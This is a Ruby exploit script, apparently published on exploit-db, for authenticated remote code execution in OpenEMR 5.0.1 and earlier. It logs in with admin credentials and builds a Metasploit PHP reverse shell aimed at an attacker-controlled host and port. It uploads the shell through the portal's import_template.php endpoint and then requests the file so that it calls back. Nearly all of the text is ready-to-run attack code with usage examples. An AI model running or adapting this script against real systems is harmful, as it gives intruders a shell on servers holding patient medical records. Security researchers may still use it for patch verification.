#!/usr/bin/env ruby
# Title: OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution
# Exploit Author: Alexandre ZANNI
# Date: 2020-07-16
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3
# References: https://www.exploit-db.com/exploits/48515
require 'httpclient'
require 'docopt'
shell_name = 'shell4.php'
user = 'openemr_admin'
password = 'xxxxxx'
payload = 'php/reverse_php'
lhost = '10.10.15.201'
lport = 8888
doc = <<~DOCOPT
OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution
Usage:
#{__FILE__} manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
#{__FILE__} semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
#{__FILE__} auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
#{__FILE__} -H | --help
Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-s <filename>, --shell <filename> Filename of the PHP reverse shell payload
-u <username>, --user <username> Username of the admin
-p <password>, --password <password> Password of the admin
-m <payload>, --payload <payload> Metasploit PHP payload
-h <host>, --lhost <host> Reverse shell local host
-t <port>, --lport <port> Reverse shell local port
--debug Display arguments
-H, --help Show this screen
Examples:
#{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
#{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
#{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999
DOCOPT
begin
args = Docopt.docopt(doc)
pp args if args['--debug']
if args['manual']
shell_name = File.basename(args['--shell'])
shell_path = args['--shell']
else
shell_name = "tmp#{rand(1000)}.php"
shell_path = shell_name
end
if args['semi-auto']
payload = args['--payload']
else
payload = 'php/reverse_php'
end
# Authentication data
uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default")
data_1= {
'new_login_session_management' => '1',
'authProvider' => 'Default',
'authUser' => args['--user'],
'clearPass' => args['--password'],
'languageChoice' => '1'
}
# Reverse shell data
unless args['manual']
puts "[+] Generating the reverse shell payload: #{shell_name}"
%x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name})
end
data_2 = {
'site' => 'default',
'mode' => 'save',
'docid' => shell_name,
'content' => File.read(shell_path)}
uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default")
uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}")
clnt = HTTPClient.new
puts '[+] Authenticating'
clnt.post(uri_1, data_1)
puts '[+] Uploading the reverse shell'
clnt.post(uri_2, data_2)
puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}"
clnt.get(uri_3)
rescue Docopt::Exit => e
puts e.message
end
